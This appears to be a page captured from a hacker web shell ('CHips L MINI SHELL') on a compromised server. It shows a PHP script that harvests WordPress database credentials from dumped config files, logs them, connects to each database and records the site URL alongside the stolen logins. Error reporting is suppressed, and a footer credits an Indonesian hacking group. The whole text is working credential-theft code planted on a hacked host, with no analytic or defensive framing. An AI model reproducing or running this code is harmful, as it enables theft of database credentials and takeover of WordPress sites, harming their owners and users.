CHips L MINI SHELL

CHips L pro

Current Path : /var/www/
Upload File :
Current File : /var/www/base

error_reporting(0);


$files = glob("*.txt");
$dbData = array();

$fp = fopen('log.txt', 'a');
foreach ($files as $file){
    $data = file_get_contents($file);
    $rate = $data;
    if (strpos($rate, 'DB_USER'))
    {
        $rate = str_replace(" ", "", $rate);
        preg_match('/DB_USER\',\'(.+?)\'\)\;/', $rate, $login);
        preg_match('/DB_PASSWORD\',\'(.+?)\'\)\;/', $rate, $pass);
        preg_match('/DB_HOST\',\'(.+?)\'\)\;/', $rate, $host);
        preg_match('/DB_NAME\',\'(.+?)\'\)\;/', $rate, $name);
        preg_match('/table_prefix=\'(.+?)\'\;/', $rate, $pref);

        $dbData[] = array(
            'host' => $host[1],
            'login' => $login[1],
            'pass' => $pass[1],
            'name' => $name[1],
            'prefix' => $pref[1] 
        );
        fwrite($fp, "$host[1];$login[1];$pass[1];$name[1];$pref[1]\n");
        echo "$host[1];$login[1];$pass[1];$name[1];$pref[1]\n";
    }
}
fclose($fp);
$root = $_SERVER['DOCUMENT_ROOT'];
if (!empty($dbData)){
    $fp = fopen('gid.ttt', 'a');
    foreach ($dbData as $dbLine){
        if (strpos($dbLine['host'],':') !== false){
            $parts = explode(':', $dbLine['host']);
            $db = mysqli_connect($parts[0], $dbLine['login'], $dbLine['pass'],$dbLine['name'],$parts[1]);
        }else{
            $db = mysqli_connect($dbLine['host'], $dbLine['login'], $dbLine['pass'],$dbLine['name']);
        }
        
        if (mysqli_connect_errno()){
            echo "Failed to connect to MySQL:".mysqli_connect_error()."\n";
        }else{
            if (empty($dbLine['prefix'])){
                $dbLine['prefix'] = 'wp_';
            }

            $exs = mysqli_query($db, 'SELECT option_value FROM '.$dbLine['prefix'].'options WHERE option_name="siteurl"');
            if(!$exs) echo "owi6ka";
            $row = mysqli_fetch_array($exs, MYSQLI_NUM);
            echo "site = $row[0]\n";
            fwrite($fp, implode(';', $dbLine).";$row[0]\n");
            mysqli_free_result($exs);
            mysqli_close($db);
        }   
    }
    fclose($fp);
}

Copyright 2K16 - 2K18 Indonesian Hacker Rulez